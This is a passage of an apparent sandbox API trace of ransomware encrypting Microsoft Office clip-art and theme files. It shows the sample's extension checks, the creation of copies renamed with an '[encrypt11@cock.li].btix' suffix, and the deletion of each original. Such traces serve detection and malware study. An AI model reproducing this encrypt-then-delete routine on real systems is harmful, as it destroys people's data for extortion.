lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.776] lstrlenW (lpString=".bz2") returned 4 [0158.777] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.777] lstrlenW (lpString=".7z") returned 3 [0158.777] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0158.777] lstrlenW (lpString=".dbf") returned 4 [0158.777] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0158.777] lstrlenW (lpString=".1cd") returned 4 [0158.777] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0158.777] lstrlenW (lpString=".jpg") returned 4 [0158.777] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.777] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.777] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.778] GetLastError () returned 0x0 [0158.778] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x17b6, lpOverlapped=0x0) returned 1 [0158.778] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0158.779] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.779] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.779] SetEndOfFile (hFile=0x2fc) returned 1 [0158.779] CloseHandle (hObject=0x2fc) returned 1 [0158.779] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.780] SetEndOfFile (hFile=0x348) returned 1 [0158.780] CloseHandle (hObject=0x348) returned 1 [0158.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0158.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0158.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0158.781] lstrlenW (lpString=".doc") returned 4 [0158.781] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.781] lstrlenW (lpString=".docx") returned 5 [0158.781] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0158.781] lstrlenW (lpString=".pdf") returned 4 [0158.781] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.781] lstrlenW (lpString=".xls") returned 4 [0158.781] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.781] lstrlenW (lpString=".xlsx") returned 5 [0158.781] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0158.781] lstrlenW (lpString=".ppt") returned 4 [0158.781] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0158.781] lstrlenW (lpString=".zip") returned 4 [0158.781] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.781] lstrlenW (lpString=".rar") returned 4 [0158.781] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.781] lstrlenW (lpString=".bz2") returned 4 [0158.781] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.781] lstrlenW (lpString=".7z") returned 3 [0158.782] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0158.782] lstrlenW (lpString=".dbf") returned 4 [0158.782] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0158.782] lstrlenW (lpString=".1cd") returned 4 [0158.782] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0158.782] lstrlenW (lpString=".jpg") returned 4 [0158.782] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.782] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.782] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.783] GetLastError () returned 0x0 [0158.783] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1784, lpOverlapped=0x0) returned 1 [0158.783] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1790, lpOverlapped=0x0) returned 1 [0158.784] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.784] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.784] SetEndOfFile (hFile=0x2fc) returned 1 [0158.784] CloseHandle (hObject=0x2fc) returned 1 [0158.784] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.784] SetEndOfFile (hFile=0x348) returned 1 [0158.785] CloseHandle (hObject=0x348) returned 1 [0158.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0158.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0158.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0158.786] lstrlenW (lpString=".doc") returned 4 [0158.786] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.786] lstrlenW (lpString=".docx") returned 5 [0158.786] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0158.786] lstrlenW (lpString=".pdf") returned 4 [0158.786] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.786] lstrlenW (lpString=".xls") returned 4 [0158.786] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.786] lstrlenW (lpString=".xlsx") returned 5 [0158.786] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0158.786] lstrlenW (lpString=".ppt") returned 4 [0158.786] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0158.786] lstrlenW (lpString=".zip") returned 4 [0158.786] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.786] lstrlenW (lpString=".rar") returned 4 [0158.786] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.786] lstrlenW (lpString=".bz2") returned 4 [0158.786] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.786] lstrlenW (lpString=".7z") returned 3 [0158.787] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0158.787] lstrlenW (lpString=".dbf") returned 4 [0158.787] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0158.787] lstrlenW (lpString=".1cd") returned 4 [0158.787] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0158.787] lstrlenW (lpString=".jpg") returned 4 [0158.787] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.787] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.787] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.788] GetLastError () returned 0x0 [0158.788] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0158.788] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0158.789] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.789] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.789] SetEndOfFile (hFile=0x2fc) returned 1 [0158.796] CloseHandle (hObject=0x2fc) returned 1 [0158.796] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.796] SetEndOfFile (hFile=0x348) returned 1 [0158.797] CloseHandle (hObject=0x348) returned 1 [0158.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0158.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0158.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0158.798] lstrlenW (lpString=".doc") returned 4 [0158.798] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.798] lstrlenW (lpString=".docx") returned 5 [0158.798] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0158.798] lstrlenW (lpString=".pdf") returned 4 [0158.798] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.798] lstrlenW (lpString=".xls") returned 4 [0158.798] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.798] lstrlenW (lpString=".xlsx") returned 5 [0158.798] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0158.798] lstrlenW (lpString=".ppt") returned 4 [0158.798] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0158.798] lstrlenW (lpString=".zip") returned 4 [0158.798] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.798] lstrlenW (lpString=".rar") returned 4 [0158.798] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.798] lstrlenW (lpString=".bz2") returned 4 [0158.798] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.798] lstrlenW (lpString=".7z") returned 3 [0158.798] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0158.798] lstrlenW (lpString=".dbf") returned 4 [0158.799] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0158.799] lstrlenW (lpString=".1cd") returned 4 [0158.799] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0158.799] lstrlenW (lpString=".jpg") returned 4 [0158.799] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.799] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.799] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.800] GetLastError () returned 0x0 [0158.800] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0158.801] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0158.801] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.801] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.802] SetEndOfFile (hFile=0x2fc) returned 1 [0158.802] CloseHandle (hObject=0x2fc) returned 1 [0158.802] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.802] SetEndOfFile (hFile=0x348) returned 1 [0158.802] CloseHandle (hObject=0x348) returned 1 [0158.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0159.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0159.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0159.114] lstrlenW (lpString=".doc") returned 4 [0159.114] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.114] lstrlenW (lpString=".docx") returned 5 [0159.114] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0159.114] lstrlenW (lpString=".pdf") returned 4 [0159.114] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.114] lstrlenW (lpString=".xls") returned 4 [0159.114] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.114] lstrlenW (lpString=".xlsx") returned 5 [0159.114] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0159.114] lstrlenW (lpString=".ppt") returned 4 [0159.114] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0159.114] lstrlenW (lpString=".zip") returned 4 [0159.114] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.114] lstrlenW (lpString=".rar") returned 4 [0159.114] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.114] lstrlenW (lpString=".bz2") returned 4 [0159.114] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.114] lstrlenW (lpString=".7z") returned 3 [0159.114] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0159.114] lstrlenW (lpString=".dbf") returned 4 [0159.114] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0159.114] lstrlenW (lpString=".1cd") returned 4 [0159.114] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0159.114] lstrlenW (lpString=".jpg") returned 4 [0159.114] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.137] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.137] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.250] GetLastError () returned 0x0 [0159.257] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0159.273] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0159.273] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.273] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.274] SetEndOfFile (hFile=0x34c) returned 1 [0159.274] CloseHandle (hObject=0x34c) returned 1 [0159.274] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.274] SetEndOfFile (hFile=0x35c) returned 1 [0159.275] CloseHandle (hObject=0x35c) returned 1 [0159.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0159.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0159.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0159.276] lstrlenW (lpString=".doc") returned 4 [0159.276] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.276] lstrlenW (lpString=".docx") returned 5 [0159.276] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0159.276] lstrlenW (lpString=".pdf") returned 4 [0159.276] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.276] lstrlenW (lpString=".xls") returned 4 [0159.276] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.276] lstrlenW (lpString=".xlsx") returned 5 [0159.276] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0159.276] lstrlenW (lpString=".ppt") returned 4 [0159.276] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0159.276] lstrlenW (lpString=".zip") returned 4 [0159.276] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.276] lstrlenW (lpString=".rar") returned 4 [0159.276] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.276] lstrlenW (lpString=".bz2") returned 4 [0159.276] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.276] lstrlenW (lpString=".7z") returned 3 [0159.276] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0159.276] lstrlenW (lpString=".dbf") returned 4 [0159.276] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0159.276] lstrlenW (lpString=".1cd") returned 4 [0159.276] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0159.276] lstrlenW (lpString=".jpg") returned 4 [0159.276] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.277] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.277] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.277] GetLastError () returned 0x0 [0159.277] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0159.279] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xbaf0, 